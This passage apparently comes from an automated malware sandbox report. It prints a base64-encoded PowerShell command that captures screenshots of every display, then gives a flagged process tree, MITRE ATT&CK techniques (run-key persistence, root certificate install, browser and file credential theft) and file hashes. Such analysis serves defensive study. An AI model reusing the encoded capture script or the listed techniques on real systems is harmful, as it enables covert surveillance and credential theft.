cAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=2⤵
- Suspicious use of WriteProcessMemory
PID:1220 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\3y1srzvs\3y1srzvs.cmdline"3⤵
- Suspicious use of WriteProcessMemory
PID:1040 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC0B0.tmp" "c:\Users\Admin\AppData\Local\Temp\3y1srzvs\CSCC2F1105295A424194EB9D5840C19A84.TMP"4⤵PID:4136
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Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Netsh Helper DLL
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Netsh Helper DLL
1Defense Evasion
Hide Artifacts
1Hidden Files and Directories
1Modify Registry
2Obfuscated Files or Information
1Command Obfuscation
1Subvert Trust Controls
1Install Root Certificate
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
4Credentials In Files
4Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
2KB
MD5627073ee3ca9676911bee35548eff2b8
SHA14c4b68c65e2cab9864b51167d710aa29ebdcff2e
SHA25685b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c
SHA5123c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb
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Filesize
944B
MD51a9fa92a4f2e2ec9e244d43a6a4f8fb9
SHA19910190edfaccece1dfcc1d92e357772f5dae8f7
SHA2560ee052d5333fd5fd86bc84856fec98e045f077a7ac8051651bf7c521b9706888
SHA5125d2361476fa22200e6f83883efe7dcb8c3fe7dae8d56e04e28a36e9ae1270c327b6aa161d92b239593da7661289d002c574446ecfd6bd19928209aae25e3ef64
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Filesize
944B
MD5f0a7d3d9310209082dd4470992e07d8f
SHA1101d2092ac2ebbb9c13707d5f04cf53b56ad8fda
SHA256f04d7cb6a708b3b00a0be9b622a030532357318fc69d10099db5a99af76e6a1c
SHA512ca7b00a29ed07a8b90c324deecb8b4fca162f55cffb85d3a572d47a3837861e6b74b38cc02cf6523ccc7783836e5ebfcfe19451186f8b0cfc32e1637fd34b034
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Filesize
4KB
MD5e2e773b3eaab45a077c08858dbca2efe
SHA1aa1df8deb530781018b255bb110e88695a40aaf1
SHA2568515e832702e5d3c13da13674cc5327cdd9f841eb805f3869b097764cd8e1163
SHA5124a173143a85d3f112df180fa1cfda750590d01c9d034c18e5aa462f6d0d8af06a3978baa9005a43658934e7bd296b0cd7c9e2f7ab1d05b8b5bf1ee8970fde53a
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Filesize
418KB
MD5ec01412393dea8d20d8369cbd7b851c9
SHA1ed00972f606e88bbd5b8aaf3aa1ba1e76fddc2e7
SHA256f6c1ea3c4f50e941b6a3f7324faf218a060600fa6438737f7d15f2561f70157c
SHA512f388c9803612b59b52ec4e1c3dd5b4e066ade766f62d6dae341cd80f76e2e833ac7f3c9f89c267f8915ed7d39afe71d6e00d8220f1d5cf9bdbffc442a5bc736c
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Filesize
1KB
MD52f565366fd9c5703a9bb5b1da078930a
SHA1a083cfdfe995c2fbb40f3d2817b3e80b7df201b2
SHA256aff75dc52221c409acf49d66df36e0885b84fad0e8598ce520341882a93947f7
SHA51238e55fba25f189c5fc4d540488be77a470650513ef6c09aa4eefdb01e0b45c85d1ca6e8f6eff5a346128f4653255474b88da87cac7dd3f1be094989550543617
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
9.9MB
MD5981533db8f7a278a44d522ed85636f43
SHA16d124496fca65881e44b97258bdd37d73a3ffaa1
SHA256a5547a4572d2acca8ce33dc9b2e1a05419370550ebcbbad7150180b633bbd3d4
SHA5124963db510432625ac34e7fc90a8018cfd7284940da180aaf0af07e14699a2c97d246b495f863ed79e7f16bb1563e7eb0e4298069b1f47e68733de846ae1ab3d0
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Filesize
2KB
MD56e2386469072b80f18d5722d07afdc0b
SHA1032d13e364833d7276fcab8a5b2759e79182880f
SHA256ade1813ae70d7da0bfe63d61af8a4927ed12a0f237b79ce1ac3401c0646f6075
SHA512e6b96f303935f2bbc76f6723660b757d7f3001e1b13575639fb62d68a734b4ce8c833b991b2d39db3431611dc2cacde879da1aecb556b23c0d78f5ee67967acb
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Filesize
1004B
MD5c76055a0388b713a1eabe16130684dc3
SHA1ee11e84cf41d8a43340f7102e17660072906c402
SHA2568a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7
SHA51222d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2
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Filesize
607B
MD55f93a066fc579b7f75f8407e17407757
SHA165baf793c0339fae619587a482b5b792f697af76
SHA256e7c32ce32efe56385b5558305e322006345d73afa88b39426d8866e01d16923e
SHA5126e4cfb95a7cd45d9f7b9d1b7174565179aa950abc690a05e3b4891bf84be523a53cdcfa5bce5d453767fdc6c439d30503e7bd4ca8ab1e217ed2324624c4db83a
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Filesize
652B
MD5a3ff7e84b31e00d9a4ff4fd814b2dafe
SHA100318f91274eb5069f1ac5c602c2d5091121c00f
SHA2564fa265c7f0910be94e7a0460e1716bae6f302ee8d7ac96854d5cc2701e4f152a
SHA5123d2683ece7b025bccfd117ca29e3c9a0b5b301b591211429d4aa089771def8671c4bc00f7fea53de9ec37f986c5efa9c983ca88d64714ff52f573203b1b2f82a